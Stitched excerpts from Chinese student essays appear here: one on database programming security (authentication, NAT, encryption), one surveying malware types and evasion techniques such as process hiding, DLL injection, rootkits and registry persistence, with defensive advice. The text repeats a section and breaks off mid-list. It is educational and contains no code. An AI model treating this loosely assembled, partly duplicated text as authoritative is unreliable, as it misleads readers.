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[3]葉威.論大功率LED照明設(shè)計工作的技術(shù)要點[J].商品與質(zhì)量?建筑與發(fā)展,2013,(7):464-464.

篇12

在應(yīng)用數(shù)據(jù)庫時,有一個驗證程序,針對全部用戶,即鑒別使用用戶的身份。在端口計算機和訪問計算機的身份鑒別中要使用身份鑒別。當我們想要使用計算機時,用戶需要連接相應(yīng)的HTTP和SSH,輸入用戶名和密碼,來鑒別用戶的身份。使用的人需要嚴格保守密碼,同時存留在對應(yīng)的服務(wù)器上。將編程技術(shù)運用到計算機數(shù)據(jù)的使用和建立中,能夠?qū)崿F(xiàn)企業(yè)關(guān)聯(lián)數(shù)據(jù)和內(nèi)部文件的安全管理,以免由于企業(yè)信息泄露,給企業(yè)造成經(jīng)濟損失。

(二)可用性

將編程技術(shù)運用到數(shù)據(jù)庫系統(tǒng)中,其可用性十分強。成功解決不均衡的負載和一些數(shù)據(jù)庫中的故障等問題是對可用性的要求。當計算機的主接口出現(xiàn)了問題,留作備用的接口將會自動替代問題接口進行工作,這樣可以使其他故障不對其產(chǎn)生作用,保證網(wǎng)絡(luò)在工作過程中的持續(xù)穩(wěn)定性。另外,接收大量的網(wǎng)絡(luò)數(shù)據(jù)時,主接口就可以在備用接口的幫助下,完成數(shù)據(jù)的接收和傳輸工作,確保計算機能夠正常運作。

(三)隱藏信息的特性

在進行通訊連接時,由于計算機中NAT技術(shù)的作用,內(nèi)部網(wǎng)絡(luò)中的網(wǎng)址會被隱藏,此時顯示在數(shù)據(jù)中的結(jié)果是通過公共網(wǎng)絡(luò)網(wǎng)址進行訪問的,這就是編程技術(shù)的隱藏性。換句話說,企業(yè)的平常管理工作中,用戶可以使用計算機直接訪問外部網(wǎng)絡(luò),然而對企業(yè)內(nèi)部網(wǎng)絡(luò)的搜索和查看,這些是外部網(wǎng)絡(luò)無法實現(xiàn)的,成功實現(xiàn)了安全管理及保密企業(yè)信息。

二、計算機軟件工程的數(shù)據(jù)庫編程技術(shù)

(一)設(shè)計、開發(fā)編程技術(shù)

數(shù)據(jù)庫正式投入使用后,需要隨時關(guān)注系統(tǒng)的運作情況,在系統(tǒng)運行的過程中,盡早發(fā)現(xiàn)沒有處理的問題并進行分析。所以,就要折返到編程階段,盡早處理在編程階段沒有處理的問題,完善優(yōu)化數(shù)據(jù)存儲系統(tǒng)。與此同時,運用不同的編程技術(shù)來應(yīng)對不同的軟件應(yīng)用,根據(jù)各種軟件應(yīng)用的不同特性,采取不一樣的編程技術(shù),對軟件運用中有待處理的問題進行分析,保證軟件可以平穩(wěn)的運作,而且還能夠合理化的運用系統(tǒng)資源,假若一部分數(shù)據(jù)出現(xiàn)傳輸問題,也能夠運用編程技術(shù)將出現(xiàn)問題的部分進行調(diào)整。

(二)加密數(shù)據(jù)庫文件

當今社會,信息化高速發(fā)展,在聊天記錄、網(wǎng)絡(luò)搜索中都存在大量的個人隱私,人們對個人隱私的重視度也逐漸提高,而計算機數(shù)據(jù)庫作為專門存儲網(wǎng)絡(luò)信息的工具,其保密性能的高低,直接關(guān)系到人們生活、工作中的信息安全問題。一方面,要分析數(shù)據(jù)庫中存儲的基本信息,并加上基本的保護在其中的隱私類消息上,一旦有信息外漏的情況產(chǎn)生,編程師就要及時通過編程的方式處理這個問題,經(jīng)過編程,加密保護數(shù)據(jù)庫中的文件。在實行加密保護的同時,還要與計算機軟件工程的現(xiàn)實情況進行結(jié)合,從而充分發(fā)揮加密保護的作用;另一方面,加密保護的功能還可以進一步更深層次的設(shè)計,將加密保護分成幾個層級,以滿足不同用戶的要求,同時每個用戶都可以設(shè)置自己的專用登錄密碼,然后系統(tǒng)編程會確認登錄密碼的正確與否,并根據(jù)對應(yīng)的密鑰,實現(xiàn)深層次加密信息;最后,在數(shù)據(jù)庫編程時,由于信息不同的選擇造成各系統(tǒng)間的沖突,能夠運用系統(tǒng)間的優(yōu)化體系,優(yōu)化處理產(chǎn)生的問題。

(三)設(shè)計存儲模式

如今的生活中,由于計算機的使用越來越普遍,數(shù)據(jù)庫技術(shù)就要保護更多的網(wǎng)絡(luò)信息數(shù)據(jù)。一方面,軟件系統(tǒng)的設(shè)計要以軟件功能系統(tǒng)的選取為重點,也可以將其他工程項目設(shè)計過程中的理念運用其中,優(yōu)化設(shè)計方案,從而使設(shè)計出的數(shù)據(jù)庫能夠更加穩(wěn)定的運行;另一方面,在數(shù)據(jù)庫進行實際存儲時,可以將各類信息進行分類存儲,方便人們二次使用數(shù)據(jù)。最后,將優(yōu)化的數(shù)據(jù)系統(tǒng)運用到數(shù)據(jù)庫存儲模式中,在數(shù)據(jù)庫開始使用后,可以將產(chǎn)生的問題盡早優(yōu)化,同時還能夠?qū)]有解決的問題盡早發(fā)現(xiàn),以使數(shù)據(jù)庫的存儲更加方便用戶使用。

三、結(jié)語

由此可見,將數(shù)據(jù)庫編程技術(shù)分析工作做好,意義十分重大。這對于計算機數(shù)據(jù)庫實際應(yīng)用的提高十分有利,可以擴大編程技術(shù)的運用優(yōu)勢,在國家信息化發(fā)展方面,提供更多的技術(shù)方面支持。所以,基于計算機軟件工程的數(shù)據(jù)庫編程技術(shù)在今后的計算機研究工作中應(yīng)予以更多的重視,并科學(xué)的評測此類技術(shù)的實際運用效果,用以增加適用范圍,使其在國家經(jīng)濟社會的發(fā)展中發(fā)揮作用。

軟件工程碩士論文參考文獻:

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篇13

惡意軟件是介于病毒和正規(guī)軟件之間的軟件,具備正常功能(下載、媒體播放等)和惡意行為(彈廣告、開后門)等,既有一定的實用價值,也會給用戶帶來種種干擾。這些程序未經(jīng)用戶許強行潛伏到用戶電腦中,而且此類程序無卸載程序,無法正常卸載和刪除,強行刪除后還會自動生成。此外,像廣告程序會強迫用戶接受閱讀廣告信息,間諜軟件搜集用敏感信息并向外發(fā)送,嚴重侵犯了用戶的選擇權(quán)和知情權(quán)。在最近幾年,產(chǎn)生了以下幾種主要的惡意軟件:

(一)廣告軟件(Adware)

廣告軟件是指未經(jīng)用戶允許,下載并安裝在用戶電腦上;或與其他軟件捆綁,通過彈出式廣告等形式牟取商業(yè)利益的程序。此類軟件往往會強制安裝并無法卸載;在后臺收集用戶信息牟利,危及用戶隱私;頻繁彈出廣告,消耗系統(tǒng)資源,使其運行變慢等。例如:用戶安裝了某下載軟件后,會一直彈出帶有廣告內(nèi)容的窗口,干擾正常使用。還有一些軟件安裝后,會在IE瀏覽器的工具欄位置添加與其功能不相干的廣告圖標,普通用戶很難清除。

(二)間諜軟件(Spyware)

間諜軟件是一種能夠在用戶不知情的情況下,在其電腦上安裝后門、收集用戶信息的軟件。用戶的隱私數(shù)據(jù)和重要信息會被“后門程序”捕獲,并被發(fā)送給黑客、商業(yè)公司等。這些“后門程序”甚至能使用戶的電腦被遠程操縱,組成龐大的“僵尸網(wǎng)絡(luò)”,這是目前網(wǎng)絡(luò)安全的重要隱患之一。例如:某些軟件會獲取用戶的軟硬件配置,并發(fā)送出去用于商業(yè)目的。

(三)瀏覽器劫持

瀏覽器劫持是一種惡意程序,通過瀏覽器插件、BHO(瀏覽器輔助對象)、Winsock LSP等形式對用戶的瀏覽器進行篡改,使用戶的瀏覽器配置不正常,被強行引導(dǎo)到商業(yè)網(wǎng)站。用戶在瀏覽網(wǎng)站時會被強行安裝此類插件,普通用戶根本無法將其卸載,被劫持后,用戶只要上網(wǎng)就會被強行引導(dǎo)到其指定的網(wǎng)站,嚴重影響正常上網(wǎng)瀏覽。例如:一些不良站點會頻繁彈出安裝窗口,迫使用戶安裝某瀏覽器插件,甚至根本不征求用戶意見,利用系統(tǒng)漏洞在后臺強制安裝到用戶電腦中。這種插件還采用了不規(guī)范的軟件編寫技術(shù)(此技術(shù)通常被病毒使用)來逃避用戶卸載,往往會造成瀏覽器錯誤、系統(tǒng)異常重啟等。

(四)行為記錄軟件(Track Ware)

行為記錄軟件是指未經(jīng)用戶許可,竊取并分析用戶隱私數(shù)據(jù),記錄用戶電腦使用習(xí)慣、網(wǎng)絡(luò)瀏覽習(xí)慣等個人行為的軟件。危及用戶隱私,可能被黑客利用來進行網(wǎng)絡(luò)詐騙。例如:一些軟件會在后臺記錄用戶訪問過的網(wǎng)站并加以分析,有的甚至?xí)l(fā)送給專門的商業(yè)公司或機構(gòu),此類機構(gòu)會據(jù)此窺測用戶的愛好,并進行相應(yīng)的廣告推廣或商業(yè)活動

(五)惡意共享軟件(malicious shareware)

惡意共享軟件是指某些共享軟件為了獲取利益,采用誘騙手段、試用陷阱等方式強迫用戶注冊,或在軟件體內(nèi)捆綁各類惡意插件,未經(jīng)允許即將其安裝到用戶機器里。使用“試用陷阱”強迫用戶進行注冊,否則可能會丟失個人資料等數(shù)據(jù)。軟件集成的插件可能會造成用戶瀏覽器被劫持、隱私被竊取等。例如:用戶安裝某款媒體播放軟件后,會被強迫安裝與播放功能毫不相干的軟件(搜索插件、下載軟件)而不給出明確提示;并且用戶卸載播放器軟件時不會自動卸載這些附加安裝的軟件。

(六)行為記錄軟件(track ware)

行為記錄軟件是指未經(jīng)用戶許可,竊取并分析用戶隱私數(shù)據(jù),記錄用戶電腦使用習(xí)慣、網(wǎng)絡(luò)瀏覽習(xí)慣等個人行為的軟件。行為記錄軟件危及用戶隱私,可能被黑客利用來進行網(wǎng)絡(luò)詐騙。例如,一些軟件會在后臺記錄用戶訪問過的網(wǎng)站并加以分析,有的甚至?xí)l(fā)送給專門的商業(yè)公司或機構(gòu),此類機構(gòu)會據(jù)此窺測用戶的愛好,并進行相應(yīng)的廣告推廣或商業(yè)活動。

(七)惡作劇程序

惡作劇程序通常都是執(zhí)行程序,本身沒有過激危害,但影響正常工作的一類程序。惡作劇程序改變系統(tǒng)中部分文件的編碼格式,運行沒有任何提示,支持文件改名,支持文件合并器。惡作劇程序如果不是刻意散播,通常沒有自我散播能力。例如,“涂改者234496”(Win32.Troj.Hider.i.234496)

這是一個惡作劇程序,復(fù)制自身到系統(tǒng)目錄,設(shè)置自身為系統(tǒng)隱藏文件,并通過添加到系統(tǒng)服務(wù)方式隨系統(tǒng)啟動。該程序會修改系統(tǒng)文件夾選項中的“顯示隱藏文件”部分來保護自身,并且修改exe文件的關(guān)聯(lián)方式。

歸納起來,惡意軟件有兩大特點:一是編寫病毒化。不少惡意軟件為了防止被殺毒軟件或惡意軟件卸載工具發(fā)現(xiàn),采用了病毒常用的Rootkit技術(shù)進行自我保護。Rootkit可以對自身及指定的文件進行隱藏或鎖定,防止被發(fā)現(xiàn)和刪除。更有一些惡意軟件,采用“自殺式”技術(shù)攻擊殺毒軟件。一旦發(fā)現(xiàn)用戶安裝或運行殺毒軟件,便運行惡意代碼,直接造成計算機死機、藍屏,讓用戶誤以為是殺毒軟件存在問題。二是傳播病毒化。為了達到更好的傳播效果,并減小成本,不少中小廠商直接使用病毒進行“惡意推廣”。用戶的計算機感染病毒后,病毒會自動在后臺運行,下載并安裝惡意軟件。同時,惡意軟件安裝后也會去從互聯(lián)網(wǎng)自動下載運行病毒。大量的惡意軟件開始使用電腦病毒來隱藏自身、進行快速傳播、并對抗用戶的清除等,這些行為嚴重危害到用戶的信息安全和利益。惡意軟件和病毒之間的界限已變得越來越模糊。隨著惡意軟件不斷朝著病毒的方向發(fā)展,要想徹底殺滅惡意軟件就必須采用反病毒技術(shù)。

二、惡意軟件的技術(shù)分析

長期以來,人們設(shè)計計算機的目標主要是追求信息處理功能的提高和生產(chǎn)成本的降低,而對于安全問題則重視不夠。計算機系統(tǒng)的各個組成部分,接口界面,各個層次的相互轉(zhuǎn)換,都存在著不少漏洞和薄弱環(huán)節(jié)。硬件設(shè)計缺乏整體安全性考慮,軟件方面也更易存在隱患和潛在威脅。對計算機系統(tǒng)的測試,目前尚缺乏自動化檢測工具和系統(tǒng)軟件的完整檢驗手段,計算機系統(tǒng)的脆弱性,為惡意軟件的產(chǎn)生和傳播提供了可乘之機;全球萬維網(wǎng)(www)使“地球一村化”,為惡意軟件創(chuàng)造了實施的空間;新的計算機技術(shù)在電子系統(tǒng)中不斷應(yīng)用,為惡意軟件的實現(xiàn)提供了客觀條件。實施惡意軟件入侵的技術(shù)是五花八門,用好了可以伸張正義,用歪了卻成為罪惡的幫兇。

(一)隱藏技術(shù)

隱藏是流氓軟件的天性,也是病毒的一個特征,任何流氓軟件都希望在用戶的電腦中隱藏起來不被發(fā)現(xiàn),由于隱藏的目的,衍生出隱藏的技術(shù)。可能的途徑有:①窗口隱藏。惡意軟件的目的就是不想為人所知,因此它們在運行的過程會將自己的程序窗口的屬性設(shè)為“不可見”,這樣用戶就看不到程序的窗口了。②進程隱藏。惡意軟件通過調(diào)用微軟的一個未公開函數(shù),將本身注冊為服務(wù),這樣系統(tǒng)的任務(wù)管理器就無法顯示這類程序的進程了,從而達到了隱藏自己的目的。③文件隱藏。惡意軟件在安裝時將自身拷貝到系統(tǒng)目錄,然后將文件的屬性設(shè)置為隱藏,這樣,用戶如果采用的是默認系統(tǒng)設(shè)置,

則就無法看到他們。

(二)線程插入技術(shù)

線程是Windows系統(tǒng)為程序提供的并行處理機制,它允許一個程序在同一時間建立不同的線程,完成不同的操作。另外,由于Windows操作系統(tǒng)為了提高軟件的復(fù)用性,減少重復(fù)開發(fā)的開銷,采用了動態(tài)鏈接庫機制,即將一些公用的程序放在DLL文件中,程序不用包括這些代碼,只要在運行時對這些DLL文件直接進行調(diào)用就可以完成各種功能,而惡意軟件正是利用了這一點。他們的可執(zhí)行程序并不是EXE形式的,而是DLL形式,這類文件一般是存在于系統(tǒng)中,由可執(zhí)行程序進行調(diào)用。

(三)RootKit技術(shù)

有些惡意軟件繞過操作系統(tǒng)的API調(diào)用,直接利用更底層的調(diào)用,然后接管系統(tǒng)的高級API調(diào)用,當有程序試圖查找它們時,便返回假信息,從而得以保護自己的技術(shù)。

(四)關(guān)聯(lián)技術(shù)

①文件關(guān)聯(lián)。惡意軟件在進入用戶系統(tǒng)的同時,在系統(tǒng)的不同地方產(chǎn)生多個相同或不同的相關(guān)聯(lián)文件,一旦一個文件被刪除了,另一個文件就會重新將這個文件恢復(fù)。②注冊表關(guān)聯(lián)。惡意軟件在用戶系統(tǒng)發(fā)作的時候,修改注冊表,在run、winlogon、appinst等注冊項中添加相關(guān)聯(lián)鍵值。③網(wǎng)絡(luò)關(guān)聯(lián)。

三、惡意軟件防范的對策和方法

(一)建立安全的防護體系意識

防范惡意軟件的第一步,就是要有安全的多層意識,一是數(shù)據(jù)層;二是應(yīng)用程序?qū)?三是主機層;四是內(nèi)部網(wǎng)絡(luò)層;五是網(wǎng)絡(luò)層;六是物理安全層;七是策略、過程和意識層。將安全的多層意識作用在計算機網(wǎng)絡(luò)體系中,我們就可以逐層進行分析、進行有效的防范。

(二)安裝防護軟件和清除工具

防護軟件和清除工具是查找和清除惡意軟件的輔助手段。比如Grisoft公司出品的AVG Anti-Spyware是一款致力于確保數(shù)據(jù)安全,保護您的隱私,抵御間諜軟件,廣告軟件,木馬,撥號程序,鍵盤記錄程序和蠕蟲的威脅的防護軟件,它的惡意軟件查殺能力根據(jù)微軟官方網(wǎng)站殺毒評測居世界第4位。

(三)軟件產(chǎn)品的安全原則

軟件開發(fā)商為了保證用戶安全,軟件產(chǎn)品的編寫與設(shè)計應(yīng)滿足以下原則:用戶可控制原則;用戶環(huán)境安全原則;用戶可操作原則;用戶可移除原則;安裝提示原則。

總的來說,惡意軟件重在防范,大家只要對它有著警惕性,有著安全的上網(wǎng)意識,惡意軟件即使長盛不衰,也不會對我們的工作、生活帶來多大影響。要有不要輕易登陸不了解的網(wǎng)站,因為這樣很有可能會中網(wǎng)頁腳本病毒,從而使系統(tǒng)中上惡意軟件。不要隨便下載不熟 悉的軟件,如果用戶不了解這些軟件,當這些軟件中捆綁一些惡意軟件時,用戶也無法察覺。安裝軟件時應(yīng)仔細閱讀軟件附帶的用戶協(xié)議及使用說明,有些軟件在安裝的過程中會以不引起用戶注意的方式提示用戶要安裝惡意軟件,這時如果用戶不認真看提示的話,就會安裝上惡意軟件。

參考文獻:

[1]黑客的攻擊手段及用戶對策》余建斌, 北京人民郵電出版社1998. .

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